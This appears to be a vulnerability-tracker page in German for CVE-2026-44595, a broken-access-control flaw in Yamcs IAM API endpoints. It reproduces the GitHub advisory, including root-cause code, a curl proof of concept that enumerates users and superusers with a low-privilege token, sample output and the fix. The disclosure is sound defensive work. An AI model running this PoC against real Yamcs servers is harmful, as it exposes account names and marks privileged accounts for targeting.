CVE-2026-44595
mediumPriorität · verfolgen · 10OT-Risiko · erhöhtEPSS 0.011 · 64. PerzentilExploit · PoCEUUSEPSS · bewertet 2026-10-26
Yamcs is a mission control framework. Prior to 5.12.7, the IAM API endpoints listUsers, getUser, listGroups, and getGroup in yamcs-core did not enforce the required SystemPrivilege.ControlAccess check in yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java, so any authenticated user, even one with low or no privileges, could enumerate all user accounts in the system including their usernames, superuser status, and group memberships. This issue is fixed in versions 5.12.7 and 5.13.0.
cvss
Technischer Schweregrad, 0–10. Eine Zeile je Quelle.
Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen
SSVC
Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.
schwächen
Die CWE-Schwächeklassen, zu denen dies gehört.
Exploits (2)
Öffentlicher Proof-of-Concept- und Exploit-Code.
- EDB-52604YAMCS yamcs-core 5.12.7 - User EnumerationPoC · exploit_db
betroffene Produkte (3)
Betroffene Produkte und Versionsbereiche.
Advisories (1)
Hersteller- und Ökosystem-Meldungen dazu.
- GHSA-p2rj-mrmc-9w29Yamcs vulnerable to unauthorized user enumeration via IAM API endpoints2026-05-27ghsa · osvUS
### Summary The IAM API endpoints (`listUsers`, `getUser`, `listGroups`, and `getGroup`) in `yamcs-core` do not enforce the required `SystemPrivilege.ControlAccess` check. As a result, **any authenticated user** (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships. This constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information. ### Root Cause **File:** `yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372` `listUsers()`, `getUser()`, `listGroups()`, and `getGroup()` do not require `SystemPrivilege.ControlAccess`. Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships: ```java // listUsers — NO checkSystemPrivilege public void listUsers(Context ctx, Empty request, ...) { var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess); // sensitiveDetails=false for low-priv users, but name/superuser/active still exposed for (User user : users) { UserInfo userb = toUserInfo(user, sensitiveDetails, directory); responseb.addUsers(userb); } } ``` Compare with properly protected endpoints: ```java // createUser — correctly protected public void createUser(Context ctx, ...) { ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present ``` ### Impact Any authenticated user can: 1. List all user accounts in the system 2. Identify which accounts have superuser privileges 3. Use this information to target privileged accounts ### Proof of Concept ```bash # Authenticate as any low-privilege user GET access_token curl -s -X POST "http://localhost:8090/auth/token" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "grant_type=password&username=lowpriv&password=lowpriv123" # Enumerate all users — no ControlAccess required curl -s "http://TARGET:8090/api/users" \ -H "Authorization: Bearer $TOKEN" #paste access_token ``` **Output (confirmed):** ```json { "users": [ { "name": "admin", "superuser": true, "active": true }, { "name": "operator", "superuser": true, "active": true }, { "name": "lowpriv", "superuser": false, "active": true } ] } ``` ### Fix Add `ControlAccess` check to `listUsers`, `getUser`, `listGroups`, `getGroup`: ```java public void listUsers(Context ctx, Empty request, ...) { ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS ... } ```
auch bekannt als (3)
Weitere Namen und Kennungen dieser Entität.
quellen
Welche Quellen diesen Datensatz belegen und wann.
Referenzen (12)
Externe Belege — Patches, Meldungen, Analysen.
- https://github.com/yamcs/yamcs/releasesPatchcnnvd
- https://www.exploit-db.com/exploits/52604cnnvd
- https://github.com/yamcs/yamcs/commit/0e12b518f103f24681299318a30a460fe4327b88enisa_euvd
- https://github.com/yamcs/yamcs/commit/e90099fba98e96214217c195b6a5b87b5f46e51cenisa_euvd
- https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.7enisa_euvd
- https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.0enisa_euvd
- https://github.com/yamcs/yamcs/security/advisories/GHSA-p2rj-mrmc-9w29enisa_euvd
- https://github.com/yamcs/yamcs/commit/0e12b518f103f24681299318a30a460fe4327b88Patchnvd
Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.
Kostenloser Scan